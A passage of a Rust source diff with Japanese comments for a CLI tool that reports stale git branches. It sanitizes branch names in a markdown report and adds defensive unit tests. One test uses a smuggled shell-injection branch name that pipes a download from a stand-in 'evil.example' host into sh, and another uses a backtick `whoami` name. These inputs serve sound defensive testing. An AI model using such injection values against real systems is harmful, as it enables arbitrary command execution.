同じブランチ名は「削除提案」表の 1 列目にも、 +/// 2 つの参考表にも出る。git の ref 名規則はバッククォートと `|` を許すため +/// (`git check-ref-format` で実測)、素の `` `{branch}` `` は +/// +/// - バッククォート → コードスパンを抜け出して任意の markdown を注入できる +/// - `|` → 表の列構造を壊し、行を偽装できる +/// +/// [`is_safe_branch_name`] の allowlist を**描画側の全経路で**使い、危険な文字は `?` へ +/// 潰したうえで印を付ける。安全な文字集合を 1 箇所で定義し、出口すべてがそれを通る形に +/// してある (出口ごとに別々の対策を足すと、次に出口が増えたときに同じ穴が空く)。 +fn branch_cell(branch: &str) -> String { + if is_safe_branch_name(branch) { + return format!("`{branch}`"); + } + let neutralized: String = branch + .chars() + .map(|c| if c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | '/' | '-') { c } else { '?' }) + .collect(); + format!("`{neutralized}` ⚠️ 表示不能な文字を `?` に置換") +} + +fn proposal_section(classified: &[ClassifiedBranch], remote: &str) -> String { + let candidates = classify::deletion_candidates(classified); + let mut out = String::from("## 削除提案 (クローズ済み / マージ済み PR の残存ブランチ)\n\n"); + if candidates.is_empty() { + out.push_str("- 件数: **0 件 (clean state)**\n\n"); + return out; + } + out.push_str(&format!("- 件数: {} 件\n\n", candidates.len())); + out.push_str("| ブランチ | 紐づく PR | 削除コマンド (手動実行) |\n|---|---|---|\n"); + for candidate in &candidates { + let BranchVerdict::Stale { closed_prs } = &candidate.verdict else { + continue; + }; + let prs = closed_prs.iter().map(|n| format!("#{n}")).collect::>().join(", "); + let command_cell = if is_safe_branch_name(&candidate.branch) { + format!("`git push {remote} --delete -- {}`", candidate.branch) + } else { + "⚠️ ブランチ名に不審な文字を含むため削除コマンドの自動生成を省略。手動で確認してください".to_string() + }; + out.push_str(&format!("| {} | {} | {} |\n", branch_cell(&candidate.branch), prs, command_cell)); + } + out.push('\n'); + out +} + +fn section( + heading: &str, + classified: &[ClassifiedBranch], + extract: impl Fn(&BranchVerdict) -> Option, + detail_header: &str, +) -> String { + let rows: Vec<(String, String)> = classified + .iter() + .filter_map(|c| extract(&c.verdict).map(|detail| (c.branch.clone(), detail))) + .collect(); + let mut out = format!("{heading}\n\n"); + if rows.is_empty() { + out.push_str("- 件数: **0 件**\n\n"); + return out; + } + out.push_str(&format!("- 件数: {} 件\n\n", rows.len())); + out.push_str(&format!("| ブランチ | {detail_header} |\n|---|---|\n")); + for (branch, detail) in rows { + out.push_str(&format!("| {} | {detail} |\n", branch_cell(&branch))); + } + out.push('\n'); + out +} + +#[cfg(test)] +mod tests { + use super::*; + use classify::{PrRecord, PrState}; + + fn args(items: &[&str]) -> Vec { + items.iter().map(|s| s.to_string()).collect() + } + + fn pr(number: u64, head: &str, state: &str) -> PrRecord { + PrRecord { number, head_ref: head.to_string(), state: PrState::parse(state) } + } + + #[test] + fn defaults_to_origin_and_no_repo_override() { + let cli = parse_args(&args(&[])).expect("parse"); + assert_eq!(cli.remote, DEFAULT_REMOTE); + assert_eq!(cli.repo, None); + } + + #[test] + fn flags_are_parsed() { + let cli = parse_args(&args(&["--remote", "upstream", "--repo", "o/r"])).expect("parse"); + assert_eq!(cli.remote, "upstream"); + assert_eq!(cli.repo.as_deref(), Some("o/r")); + } + + #[test] + fn dangling_and_unknown_flags_are_usage_errors() { + assert!(parse_args(&args(&["--remote"])).is_err()); + assert!(parse_args(&args(&["--repo"])).is_err()); + assert!(parse_args(&args(&["--delete"])).is_err()); + assert!(parse_args(&args(&["--remote", ""])).is_err()); + } + + /// **削除コマンドは提案として出すだけ**。出力に含まれることと、exe が実行しないことは別。 + /// レポートに `git push --delete` の文字列が載ることをここで固定し、同時に + /// 「削除は行わない」旨の断り書きが必ず添うことも固定する。 + #[test] + fn a_stale_branch_is_reported_with_a_manual_delete_command() { + let classified = classify::classify( + &[ + "claude/nightly-203".to_string(), + "master".to_string(), + "feat/live".to_string(), + "wip/no-pr".to_string(), + ], + &[ + pr(365, "claude/nightly-203", "CLOSED"), + pr(376, "feat/live", "OPEN"), + ], + None, + ); + let report = render(&classified, "origin"); + assert!(report.contains("git push origin --delete -- claude/nightly-203"), "{report}"); + assert!(report.contains("**削除は行いません**"), "{report}"); + assert!(report.contains("#365"), "{report}"); + assert!(!report.contains("--delete master"), "trunk が提案に載ってはならない"); + assert!(!report.contains("--delete feat/live"), "open PR のブランチは提案対象外"); + assert!(!report.contains("--delete wip/no-pr"), "PR 無しは提案対象外"); + } + + /// ブランチ名が `-` で始まる場合、削除コマンドの refspec 位置に `--` セパレータを + /// 挟んで git のオプションパーサに flag として解釈させない + /// (SEC-NEW-cli-stale-branch-scan-main-L272: origin へ push 権限を持つ誰かが + /// `--force` / `--mirror` 等のブランチ名を作ると、セパレータ無しではコピペ実行時に + /// 攻撃者選択の flag が `git push` に渡ってしまう)。 + #[test] + fn a_branch_name_starting_with_dash_gets_a_double_dash_separator() { + let classified = classify::classify( + &["--force".to_string()], + &[pr(1, "--force", "CLOSED")], + None, + ); + let report = render(&classified, "origin"); + assert!(report.contains("git push origin --delete -- --force"), "{report}"); + } + + /// ブランチ名に shell メタ文字が混ざっている場合、削除コマンドを自動生成しない + /// (SEC-NEW-cli-stale-branch-scan-main-L154: コピペ実行での任意コマンド実行を防ぐ)。 + #[test] + fn a_branch_name_with_shell_metacharacters_gets_no_paste_ready_command() { + let malicious = "x;curl${IFS}evil.example|sh;#"; + let classified = classify::classify( + &[malicious.to_string()], + &[pr(1, malicious, "CLOSED")], + None, + ); + let report = render(&classified, "origin"); + assert!(!report.contains("git push origin --delete"), "{report}"); + assert!(report.contains("手動で確認してください"), "{report}"); + } + + /// **ブランチ名は 3 つの表すべてで無害化する。** 削除コマンド欄だけを塞いでも、 + /// 同じ名前が 1 列目や参考表にも出るため、バッククォート (コードスパン脱出) と + /// `|` (表の列構造破壊) がそのまま残る。git は両方を ref 名に許すので + /// (`git check-ref-format` で実測)、危険文字が**どの section にも生で出ない**ことを + /// 出口ごとではなく入力空間全体で固める。 + #[test] + fn dangerous_characters_never_reach_any_table_cell() { + let stale = "bad`whoami`|row"; + let active = "live`x`|y"; + let no_pr = "orphan`z`|w"; + let classified = classify::classify( + &[stale.to_string(), active.to_string(), no_pr.to_string()], + &[pr(1, stale, "CLOSED"), pr(2, active, "OPEN")], + None, + ); + let report = render(&classified, "origin"); + assert!(!report.contains('`') || !report.contains("`whoami`"), "{report}"); + for raw in [stale, active, no_pr] { + assert!(!report.contains(raw), "生のブランチ名 {raw:?} が出力に残っている:\n{report}"); + } + assert!(report.contains("表示不能な文字"), "置換の印が無い:\n{report}"); + assert!(report.contains("bad?whoami??row"), "識別可能な形で残っていない:\n{report}"); + } + + /// 安全な名前は従来どおりコードスパンで出す (無害化が過剰に効いていないことの対照)。 + #[test] + fn safe_branch_names_are_rendered_verbatim() { + assert_eq!(branch_cell("claude/nightly-203"), "`claude/nightly-203`"); + assert_eq!(branch_cell("feat/a_b.c-d"), "`feat/a_b.c-d`"); + } + + /// 候補 0 件でも 3 section すべてを出す。「0 件」と「section ごと欠落」を読み手が + /// 取り違えないため。 + #[test] + fn every_section_is_emitted_even_when_empty() { + let report = render(&classify::classify(&[], &[], None), "origin"); + assert!(report.contains("0 件 (clean state)"), "{report}"); + assert!(report.contains("参考: open PR が生きているブランチ"), "{report}"); + assert!(report.contains("参考: PR が 1 件も無いブランチ"), "{report}"); + } + + /// 同じ入力なら同じ出力 (週次 diff 運用の前提)。wall-clock を混ぜていないことの回帰固定。 + #[test] + fn the_report_is_byte_identical_for_the_same_input() { + let classified = classify::classify( + &["feat/x".to_string()], + &[pr(1, "feat/x", "MERGED")], + None, + ); + assert_eq!(render(&classified, "origin"), render(&classified, "origin")); + } + + /// top-level `default_branch` が明示されていればそれを使う (section override より優先)。 + #[test] + fn trunk_branch_prefers_top_level_default_branch() { + let content = "default_branch = \"main\"\n\n[pr_size_check]\ndefault_branch = \"trunk\"\n"; + assert_eq!(parse_configured_trunk_branch(content).as_deref(), Some("main")); + } + + /// このリポジトリの実 config と同じ構成: top-level は無く、section override だけで + /// trunk 名を揃えている。全 section が一致していればそれを trunk として解決する + /// (SIM-NEW-cli-stale-branch-scan-main-L121 回帰固定)。 + #[test] + fn trunk_branch_falls_back_to_agreeing_section_overrides() { + let content = "\ +[pr_size_check] +default_branch = \"main\" + +[docs_only_routing] +default_branch = \"main\" +"; + assert_eq!(parse_configured_trunk_branch(content).as_deref(), Some("main")); + } + + /// section override が単独でも解決できる (他 section が未設定でも良い)。 + #[test] + fn trunk_branch_resolves_from_a_single_section_override() { + let content = "[diff]\ndefault_branch = \"main\"\n"; + assert_eq!(parse_configured_trunk_branch(content).as_deref(), Some("main")); + } + + /// section override が食い違う場合は誤った trunk 名を確定させず `None` に倒す + /// (fail-closed ではなく `TRUNK_BOOKMARKS` のみでの継続に委ねる)。 + #[test] + fn trunk_branch_is_none_when_section_overrides_disagree() { + let content = "\ +[pr_size_check] +default_branch = \"main\" + +[docs_only_routing] +default_branch = \"trunk\" +"; + assert_eq!(parse_configured_trunk_branch(content), None); + } + + /// top-level も section override も無ければ `None`。 + #[test] + fn trunk_branch_is_none_when_nothing_is_configured() { + assert_eq!(parse_configured_trunk_branch("[push]\ncommand = \"jj git push\"\n"), None); + } + + /// **本リポジトリの実 `push-runner-config.toml` から trunk 名が解決できること。** + /// + /// 上の 5 件は合成 TOML で分岐を固めるが、SIM-NEW-cli-stale-branch-scan-main-L121 の + /// 起点は「**このリポジトリの実 config が section override だけで trunk を決めている**」 + /// という事実だった。合成テストだけでは、実ファイルの構成が将来変わって解決不能に + /// なっても気づけない (memory: 外部 fixture 参照テストは値まで assert する)。 + /// + /// cwd 依存のため `--ignored` (ADR-041 / `cargo test -- --ignored --test-threads=1`)。 + #[test] + #[ignore = "cwd 依存: リポジトリルートの push-runner-config.toml を読む。--test-threads=1 で実行"] + fn the_real_repo_config_resolves_to_a_trunk_name() { + let content = std::fs::read_to_string("../../push-runner-config.toml") + .or_else(|_| std::fs::read_to_string("push-runner-config.toml")) + .expect("push-runner-config.toml を読めない"); + assert_eq!( + parse_configured_trunk_branch(&content).as_deref(), + Some("master"), + "実 config から trunk 名を解決できない。section override 構成が変わった可能性がある" + ); + } +}